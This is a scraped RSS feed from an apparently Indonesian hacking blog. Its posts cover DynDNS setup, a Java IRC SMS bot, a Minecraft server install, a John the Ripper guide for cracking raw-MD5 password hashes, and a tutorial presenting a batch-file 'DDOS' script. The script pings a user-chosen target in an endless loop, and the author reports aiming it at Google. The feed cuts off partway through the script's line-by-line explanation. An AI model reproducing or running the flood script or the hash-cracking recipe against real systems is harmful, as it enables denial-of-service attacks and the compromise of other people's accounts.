Syarat dan Caranya :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. internet anda harus udah tersambung dengan koneksi speedy&lt;br /&gt;
&lt;br /&gt;
2. buka url ini di browser anda : &lt;a href="http://www.dyndns.com/"&gt;http://www.dyndns.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
3. atau langsung aja buat account baru di : &lt;a href="https://www.dyndns.com/account/create.html"&gt;https://www.dyndns.com/account/create.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4. lakukan konfirmasi melalui email Anda tadi, dan klik url yang ada didalam nya untuk mengaktifkan account anda.&lt;br /&gt;
&lt;br /&gt;
5. bila sudah aktivasi, account anda akan langsung aktif&lt;br /&gt;
&lt;br /&gt;
6. lakukan login ke dydns dengan user+password anda tadi&lt;br /&gt;
&lt;br /&gt;
7. klik pada My Services yang terletak pada pojok atas kanan&lt;br /&gt;
&lt;br /&gt;
8. pilih lah menu Add Host Services (gb. lingkar 1)&lt;br /&gt;
&lt;br /&gt;
9. kemudian klik Add Dynamic DNS Host (gb. lingkar 2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cara cepat untuk mem by-pass nomer 7-9 dengan meng klik / copy paste di browser: &lt;a href="https://www.dyndns.com/account/services/...s/add.html"&gt;https://www.dyndns.com/account/services/...s/add.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Contoh :&lt;br /&gt;
&lt;br /&gt;
Contoh :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- misal pada hostname anda isian : hostku&lt;br /&gt;
&lt;br /&gt;
- Kemudian dengan pilihan domain : blogdns.net&lt;br /&gt;
&lt;br /&gt;
- Settingan yg lain ? default (tanpa ada perubahan)&lt;br /&gt;
&lt;br /&gt;
- Kemudian klik ? Add Host&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
maka alamat url domain untuk speedy anda adalah :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://hostku.blogdns.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
NOTE:&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
Sub-Domain yang anda buat bisa menjadi sub-domain anda selamanya&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
Sub-domain yang anda buat tadi ( http://hostku.blogdns.net/&lt;br /&gt;
) tidak bisa mengikuti perubahan ip pada speedy anda kecuali anda&lt;br /&gt;
mengikuti tahap terakhir yang akan saya jelaskan di bawah ini, yang&lt;br /&gt;
akan secara otomatis mengupdate ip dynamic anda dengan sub-domain di&lt;br /&gt;
dyndns&lt;br /&gt;
&lt;br /&gt;
Proses Updating DNS pada DynDNS.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Updating DNS pada DynDNS ini sangat diperlukan, mengingat ip Speedy Anda adalah Dynamic IP ( tidak memiliki IP tetap )&lt;br /&gt;
&lt;br /&gt;
Agar&lt;br /&gt;
DynDNS selalu mengerti perubahan IP speedy anda, anda perlu untuk&lt;br /&gt;
meng-update ya secara berkala di web nya dyndns, terutama saat modem&lt;br /&gt;
baru di nyalakan, atau faktor lain yg menyebabkan ip berubah&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Untuk&lt;br /&gt;
memudahkan proses Updating dan update secara OTOMATIS, DynDNS telah&lt;br /&gt;
menyediakan Software pendukung nya yang disediakan secara Free, yang&lt;br /&gt;
berfungsi untuk peng-updatan secara otomatis sub-domain dengan ip&lt;br /&gt;
dynamic speedy Anda.&lt;br /&gt;
&lt;br /&gt;
ikuti langkah-langkah dibawah ini dan download file updater :&lt;br /&gt;
&lt;br /&gt;
1.https://www.dyndns.com/support/clients/ atau di http://www.download.com/DynDNS-Updater/3...tag=button&lt;br /&gt;
&lt;br /&gt;
2.extract lah file tersebut&lt;br /&gt;
&lt;br /&gt;
3.install file tersebut&lt;br /&gt;
&lt;br /&gt;
4. buat groups&lt;br /&gt;
&lt;br /&gt;
5.isikan username dan password speedy anda disitu, atau klik tombol detect untuk detect dialer account yang sudah anda buat tadi&lt;br /&gt;
&lt;br /&gt;
6.kemudian&lt;br /&gt;
Klik OK sampe aplikasi tertutup, tapi pastikan icon try dyndns masih&lt;br /&gt;
ada, tunggu sebentar sekitar 5-10 detik, untuk dyndns melakukan&lt;br /&gt;
connecting secara otomatis&lt;br /&gt;
&lt;br /&gt;
masukkan sub-domain yang sudah anda buat tadi (wongedan.blogdns.net), dengan pilihan system dyndns&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
indikator&lt;br /&gt;
&lt;br /&gt;
centang hijau Anda berhasil&lt;br /&gt;
&lt;br /&gt;
Centang kuning proses update&lt;br /&gt;
&lt;br /&gt;
Centang merah anda gagal&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sekian Dulu Dari Saya Terimakasih.</description><link>http://black-mygo.blogspot.com/2011/01/totorial-creating-webserver-user-own-pc.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-4612376463040673067</guid><pubDate>Mon, 24 Jan 2011 15:58:00 +0000</pubDate><atom:updated>2011-01-25T03:19:26.151-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cracking Password</category><title>Tutorial Decryption using John The Ripper</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcT-wkaRURhHkGGqD93lKJgVRkS8P6mH9nRZPqQOtlfJUVVf4jdHiA" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcT-wkaRURhHkGGqD93lKJgVRkS8P6mH9nRZPqQOtlfJUVVf4jdHiA" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
ok kita langsung aja ke pokok pembahasan.&lt;br /&gt;
MD5 bersifat one way hash ,(JTR) john the ripper merupakan tools yang mampu untuk mendekrip (lebih tepatnya menebak) beberapa jenis enkripsi yang sering digunakan beberapa diantaranya adalah DES , BSDI ,MD5 ,BF ,AFS ,LM , namun setelah ane coba sepertinya JTR tidak mampu untuk mendekrip enkripsi MD5 , entah mungkin ane yang ga ngerti caranya :D , ane akan memberikan sedikit tutorial untuk mengajari JTR bisa mendekrip MD5.&lt;br /&gt;
&lt;br /&gt;
Disini saya menggunakan operating system linux Ubuntu.&lt;br /&gt;
&lt;br /&gt;
Download JTR versi terbaru&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;wget ftp://ftp.openwall.com/pub/projects/john/1.7.3.1/john-1.7.3.1.tar.gz&lt;/pre&gt;&lt;br /&gt;
Ekstrak JTR nya&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;tar -zxvf john-1.7.3.1.tar.gz
    cd john-1.7.3.1&lt;/pre&gt;&lt;br /&gt;
Download dan lakukan patch supaya JTR mensupport enkripsi raw-MD5.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;wget ftp://ftp.openwall.com/pub/projects/john/contrib/john-1.7-rawmd5-ipb2-4.diff.gz&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;gzip -d john-1.7-rawmd5-ipb2-4.diff.gz&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;patch -p1 &amp;lt; john-1.7-rawmd5-ipb2-4.diff&lt;/pre&gt;Lakukan Compile  &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;cd src
    make
    make clean linux-x86-any&lt;/pre&gt;Beres deh…  Untuk melakukan dekripsi , taruh MD5 dalam sebuah file , misal kucing.txt dengan format seperti berikut : &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;admin:b65845fca59b323bd285bdcada3454c8&lt;/pre&gt;Perintah untuk melakukan dekripsi sebelumnya pastikan sudah berada pada folder run &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;./john -f:raw-MD5 kucing.txt&lt;/pre&gt;&lt;img alt="" class="alignleft" height="80" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TT2hQ1wEoFI/AAAAAAAAAIY/D9AU8dhr8zk/john2.jpg" title="Blackmygo" width="700" /&gt; &lt;br /&gt;
OK sekian dulu yah Dari saya nanti kita lanjutkan dengan yang lainnya lagi :D</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-decryption-using-uncle-john.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh5.ggpht.com/_29ZRNl4CE-E/TT2hQ1wEoFI/AAAAAAAAAIY/D9AU8dhr8zk/s72-c/john2.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-6118877127252291717</guid><pubDate>Thu, 20 Jan 2011 14:06:00 +0000</pubDate><atom:updated>2011-01-20T06:08:47.312-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Miscellaneous</category><title>Tutorial [IRC Bot] Bot SMS dari Java</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t2.gstatic.com/images?q=tbn:ANd9GcTcQI6fc0O6edzzeb3OZriuFd4wNBqZPm5XEFJCh3CoqkUg_hQB" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t2.gstatic.com/images?q=tbn:ANd9GcTcQI6fc0O6edzzeb3OZriuFd4wNBqZPm5XEFJCh3CoqkUg_hQB" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Ini adalah bot IRC sederhana untuk kirim-kiriman sms  , di buat menggunakan pemrograman Java. Jadi bisa di load dari mesin mana saja asal terdapat platform java di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Persiapan..&lt;br /&gt;
&lt;br /&gt;
Install Java Develoment Kit&lt;br /&gt;
Download JDK disini &lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html"&gt;http://www.oracle.com/technetwork/java/javase/downloads/index.html&lt;/a&gt;&lt;br /&gt;
Sesuaikan dengan sistem operasi yang digunakan, ikuti instruksi instalasi dari situs tersebut hingga selesai. Pastikan java compiler terinstal dengan baik dengan mengetik "javac"dan "Java" dan "jar" di konsole.&lt;br /&gt;
&lt;br /&gt;
JDK installed under Linux&lt;br /&gt;
&lt;img alt="" class="alignleft" height="370" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgb2AilqII/AAAAAAAAAH4/Y9tH2Z27Cu4/Javac1.jpg" title="Linux" width="700" /&gt;&lt;br /&gt;
&lt;br /&gt;
JDK installed under Windows&lt;br /&gt;
&lt;img alt="" class="alignleft" height="307" src="http://lh3.ggpht.com/_29ZRNl4CE-E/TTgb2VuF7qI/AAAAAAAAAH8/vQ4J1cMW2l4/Javac2.jpg" title="Linux" width="700" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;b&gt;Download Source Code nya&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.ziddu.com/download/13475667/SMSBot-2_Source.zip.html" target="_blank"&gt;&lt;img alt="Click 
Here" src=" 
http://lh4.ggpht.com/_0NJqYEh59lw/TS1reef9jZI/AAAAAAAAADE/kr_YRXa4ih8/th_i_icon_mini_portal22-1.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Saat nya meracik..&lt;br /&gt;
&lt;br /&gt;
Langkahnya buat di Windows sama saja, untuk kali ini saya lakukan di Ubuntu. Sebelum di compile, edit dulu file KonfigUmum.java dari source code yang barusan di download.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;public static final String SERVER = "irc.hacker-newbie.org";
public static final String PORT = "6667";
public static final String CHANNEL = "#hn-community";
public static final String BOT_NICK = "sms";
public static final String BOS_NICK = "Neo"; // Yess,, you are the boss!! &lt;/pre&gt;&lt;br /&gt;
Kalo mau aktifkan debuging nya, buka file Debug.java, ganti parameter nya, true untuk debuging, dan false untuk diam seribu bahasa..&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;private static boolean debug = true; &lt;/pre&gt;&lt;br /&gt;
Oiya dan satu lagi di file Proses.java, di baris ke 55, bagian yang ini dapat di uncomment&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;// Debug.print(0, baris); //verbose output nya &lt;/pre&gt;&lt;br /&gt;
Gunanya untuk mendapatkan output-output respon dari server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Oke, setelah di edit dan di save saat nya kompilasi..&lt;br /&gt;
&lt;br /&gt;
Buka terminal atau command line.. Masuk ke direktori dimana tadi file source code nya di simpan, ketik :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;javac *.java &lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Maka akan tercipta banyak file class hasil dari kompilasi tersebut.&lt;br /&gt;
&lt;br /&gt;
Dilanjutkan dengan dengan mengkompressnya menjadi file executable jar dengan perintah jar cvf &lt;nama-file&gt;.jar *.class. Misalnya :&lt;br /&gt;
&lt;/nama-file&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Jar cvf Bot-Sms.jar *.class &lt;/pre&gt;&lt;br /&gt;
Dari hasil perintah diatas akan tercipta sebuah file Bot-SMS.jar yang merupakan file hasil kompress dari class-class yang dibuat sebelumnya, didalamnya juga ditambahkan otomatis file manifest yang merupakan file informasi dimana main class berada. Untuk itu kita perlu mengupdate file manifest ini dan menambahkan informasi dimana main class nya, yaitu SMSBot.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;jar cfe Bot-SMS.jar SMSBot *.class &lt;/pre&gt;&lt;br /&gt;
Berikut screenshot hasil seluruh prosses kompilasi nya :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="421" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTgb2gP62pI/AAAAAAAAAIA/stvmfS2--dc/Javac3.jpg" title="Blackmygo" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekarang saatnya uji coba..&lt;br /&gt;
&lt;br /&gt;
Ada dua cara meload bot ini, dengan parameter atau tanpa parameter, tanpa parameter otomatis konfigurasi nya akan diambil dari file KonfigUmum yang kita set tadi.&lt;br /&gt;
&lt;br /&gt;
Jika menggunakan parameter command nya :&lt;br /&gt;
"Java -jar /path/to/jarfile.jar &lt;server&gt; &lt;port&gt; &lt;channel&gt; &lt;bot-nick&gt;"&lt;br /&gt;
Contoh :&lt;br /&gt;
&lt;/bot-nick&gt;&lt;/channel&gt;&lt;/port&gt;&lt;/server&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;java -jar Bot-SMS.jar irc.hacker-newbie.org 6667 hn-community sms&lt;/pre&gt;&lt;br /&gt;
Kalo tanpa parameter langsung aja&lt;br /&gt;
"Java -jar /path/to/jarfile.jar"&lt;br /&gt;
&lt;br /&gt;
Screenshot bot yang udah ke load..&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="86" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgb3KnVsUI/AAAAAAAAAIE/BAK4eDx0nsA/Javac4.jpg" title="Blackmygo" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
Ini debug console nya, cuma buat monitor n debuging aja :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="348" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgb3y0O95I/AAAAAAAAAII/EaGW3pQCrv0/Javac5.jpg" title="Blackmygo" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
Berikut ini command list nya :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Komando List (case sensitive):
 - ./bot-nick [nomor] [pesan] &amp;lt;-- Kirim sms max 160 char
 - ./bot-nick join [#channel] &amp;lt;-- Join #channel (Bot master only)
 - ./bot-nick part [#channel] &amp;lt;-- Meninggalkan #channel (Bot master only)
 - ./bot-nick quit [pesan]    &amp;lt;-- Quit IRC, disconnect dan exit client (Bot master only) &lt;/pre&gt;&lt;br /&gt;
Sekian Dulu Dari Saya Nanti Kita lanjutkan kembali dengan Tutor" yang Lebih Mendalam.</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-irc-bot-bot-sms-dari-java.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgb2AilqII/AAAAAAAAAH4/Y9tH2Z27Cu4/s72-c/Javac1.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-7929375238411699511</guid><pubDate>Thu, 20 Jan 2011 11:18:00 +0000</pubDate><atom:updated>2011-01-20T03:19:11.932-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">LINUX</category><title>[Linux] 6 Langkah setup sebuah Minecraft Server</title><description>Baik disini kita akan sama-sama belajar bersama cara untuk melakukan setup server minecraft,, jika belum tahu soal minecraft sedikit dari saya minecraft itu permainan sandbox dengan grafik yang usang.&lt;br /&gt;
Ini sedang dalam alpha tapi itu masih sangat menyenangkan dan sangat adiktif,, seru abiz,,dah,, ok kota langsung aja ok..&lt;br /&gt;
&lt;br /&gt;
Persyaratan:&lt;br /&gt;
&lt;br /&gt;
# Sebuah mesin Linux [VPS / DEDICATED SERVER]&lt;br /&gt;
# Koneksi Internet&lt;br /&gt;
# Putty (Memungkinkan Anda untuk terhubung melalui SSH ke mesin Linux Anda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sebelum kita mulai, saya ingin mengingatkan kalau ini untuk target yang kurang akrab dengan keluarga NIX*.&lt;br /&gt;
Baik kita masuk ke cara kerja yang sederhana ini&lt;br /&gt;
1) Login ke mesin Linux Anda, Segera yang dituju adalaha console: &lt;br /&gt;
input command:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# which java&lt;/pre&gt;Perintah tersebut untuk mengecek ada atau tidaknya java dalam PC kita&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTgXl1K06uI/AAAAAAAAAHc/r1x2xC3Tjqk/Root1.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
(Pada mesin saya disini, tidak ada Java yang terinstal .. Jadi, mari kita bersiap untuk menginstall Java kita &lt; jangan opera van java ya &gt;) &lt;br /&gt;
&lt;br /&gt;
a) Instalasi Java &lt;br /&gt;
&lt;br /&gt;
Jalankan perintah ini:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# yum install java-1.6.0-OpenJDK&lt;/pre&gt;&lt;br /&gt;
Ini akan menginstal Java 1.6.(versinya bisa kita ganti semau kita, namun disini saya memberikannya hanya sebagai contoh dari tutorial yang akan saya sharing dengan teman-teman, kalau pakai debian tinggal diganti saja yum dengan apt-get install ok..&lt;br /&gt;
&lt;br /&gt;
Mari kita lakukan hal itu, nanti akan ada pertanyaan yang akan meminta Anda untuk memberikan hak akses atau izin kita untuk menginstal, hanya menjawab dengan "y" untuk ya, kalau kita tidak ingin meneruskannya "N" saja agar prossesnya dibatalkan. &lt;br /&gt;
&lt;br /&gt;
b) Allright, java sudah terinstall di PC kita - mari kita bergegas untuk memeriksanya sekarang. &lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTgXmESArCI/AAAAAAAAAHg/NxXervdFJNA/Root2.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
Gunakan perintah which java kembali : &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# which java&lt;/pre&gt;&lt;br /&gt;
Baiklah, sekarang kita akan mencoba cari tahu dimana letak dari file java tersebut, yups,, teman-teman betul sekali lokasinya adalah pada &gt; /usr/bin/java/. &lt;br /&gt;
&lt;br /&gt;
Selanjutnya masih berlanjut dengan yang tadi, &lt;br /&gt;
gunakan code:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# /Usr/bin/java/ -versi&lt;/pre&gt;&lt;br /&gt;
HMMmmm,,,, &lt;br /&gt;
sepertinya ada masalah mesin ini menyatakan kalau versi java saya adalah versi 1.4.2, Supaya tidak membuat bingung lanjutkan saja dengan java yang sudah terinstall tadi, dan kita mungkin akan menggunakan versi 1.6..huftttt&lt;br /&gt;
&lt;br /&gt;
Ya kita butuh versi 1.6. &lt;br /&gt;
&lt;br /&gt;
2) Baiklah, sekarang kita akan membuat direktori hanya untuk Minecraft. &lt;br /&gt;
code:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# mkdir minecraft&lt;/pre&gt;&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgXmPpN8JI/AAAAAAAAAHk/Oi9eXPxZM0o/Root3.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
3) Sekarang mari kita jump kedalam direktori yang baru dibuat minecraft; &lt;br /&gt;
code:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# cd minecraft&lt;/pre&gt;&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTgXmKxPp6I/AAAAAAAAAHo/t4XXWXI0wlI/Root4.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
4) Sekarang mari kita download file jar. Untuk Minecraft. &lt;br /&gt;
code:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;# wget http://minecraft.net/download/minecraft_server.jar&lt;/pre&gt;&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh3.ggpht.com/_29ZRNl4CE-E/TTgXma-pfAI/AAAAAAAAAHs/TYW9oqrbpjE/Root5.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
5) Sekarang yang harus kita lakukan adalah menjalankan server. &lt;br /&gt;
code:&lt;br /&gt;
&lt;br /&gt;
[code]&lt;br /&gt;
# java -Xmx1024M -Xms1024M -jar minecraft_server.jar nogui&lt;br /&gt;
[/code&lt;br /&gt;
&lt;br /&gt;
6) Anda sekarang akan melihat layar ini:&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTgXtAQ8FUI/AAAAAAAAAHw/NfVGD4XbXB8/Root6.jpg" alt="" width="450" height="411" /&gt;&lt;br /&gt;
&lt;br /&gt;
and the top: &lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Linux" src="http://lh3.ggpht.com/_29ZRNl4CE-E/TTgXtDTSLYI/AAAAAAAAAH0/s8v5LwHCcsU/Root7.jpg" alt="" width="450" height="280" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekian Dulu Dari saya...&lt;br /&gt;
Bagaimana Menurut anda sangat mudah bukan...</description><link>http://black-mygo.blogspot.com/2011/01/linux-6-langkah-setup-sebuah-minecraft.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh4.ggpht.com/_29ZRNl4CE-E/TTgXl1K06uI/AAAAAAAAAHc/r1x2xC3Tjqk/s72-c/Root1.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-5344221632159847211</guid><pubDate>Thu, 20 Jan 2011 10:34:00 +0000</pubDate><atom:updated>2011-01-20T02:56:19.915-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DDOS</category><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Tutorial Membuat serangan DDOS dari Notepad</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t0.gstatic.com/images?q=tbn:ANd9GcT2XrwwyiGz8LeJ-5VQ4XIkELFWROdhDAMBAsjc6eXz3BpJc5xt" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t0.gstatic.com/images?q=tbn:ANd9GcT2XrwwyiGz8LeJ-5VQ4XIkELFWROdhDAMBAsjc6eXz3BpJc5xt" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Di sini aku cuma mau berbagi ilmu dengan kalian cara membuat&lt;br /&gt;
aplikasi DDOS(Distributed Denial of Service)dengan bantuan BatchFile.Berserta penjelasan&lt;br /&gt;
dari source code ini.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------&lt;br /&gt;
Tahap pembuatan&lt;br /&gt;
---------------&lt;br /&gt;
&lt;br /&gt;
Yang di perlukan dalam pembuatan ini adalah&lt;br /&gt;
1.Notepad&lt;br /&gt;
2.salin script ini ke notepad&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;@echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batchfile
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Server-Target:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1000 &amp;gt; nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t &amp;gt;nul
goto DDOS&lt;/pre&gt;&lt;br /&gt;
3.save dengan ekstensi batchfile &lt;br /&gt;
contoh:DDOS.bat&lt;br /&gt;
&lt;br /&gt;
----------&lt;br /&gt;
Cara Pakai&lt;br /&gt;
----------&lt;br /&gt;
&lt;br /&gt;
Pada menu Server-Target masukan&lt;br /&gt;
alamat web yang ingin di DDOS&lt;br /&gt;
contohnya seperti ini:&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="344" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTgLHz6BwhI/AAAAAAAAAHY/LrWT4rzw9Sk/DDOS4.jpg" title="DDOS" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
disini saya mencoba meng DDOS Google,setelah itu&lt;br /&gt;
tekan "ENTER" hasil seperti ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="344" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgLHRAw4-I/AAAAAAAAAHQ/6zfqbk-O0_E/DDOS2.jpg" title="DDOS" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
kemudian masukan hasil ip dari ping tadi di ip host dan&lt;br /&gt;
untuk Packet Size itu untuk mengirim berapa byte jadi&lt;br /&gt;
ukuran Size terserah anda&lt;br /&gt;
contohnya seperti ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="344" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTgLH-aipsI/AAAAAAAAAHU/Z2485-O69O4/DDOS3.jpg" title="DDOS" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
ke mudian tekan "ENTER" hasil seperti ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="344" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTgLGlpp5UI/AAAAAAAAAHM/kAprXxCDmSU/DDOS1.jpg" title="DDOS" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
jika seperti gambar di atas berarti Proses DDOS berhasil di jalankan&lt;br /&gt;
tergantung anda ingin men DDOS sampai berapa lama.&lt;br /&gt;
&lt;br /&gt;
-----------&lt;br /&gt;
Penjelasan&lt;br /&gt;
-----------&lt;br /&gt;
&lt;br /&gt;
ok saya akan memberi sedikit penjelasan source code :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;@echo off&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*Menyebabkan perintah tidak ditampilkan ketika dilaksakan/di execute&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;mode 67,16&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*Membentuk layar pada command prompt dengann ukuran lebar "67" dah tinggi "16"&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Title DDOS Attack&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
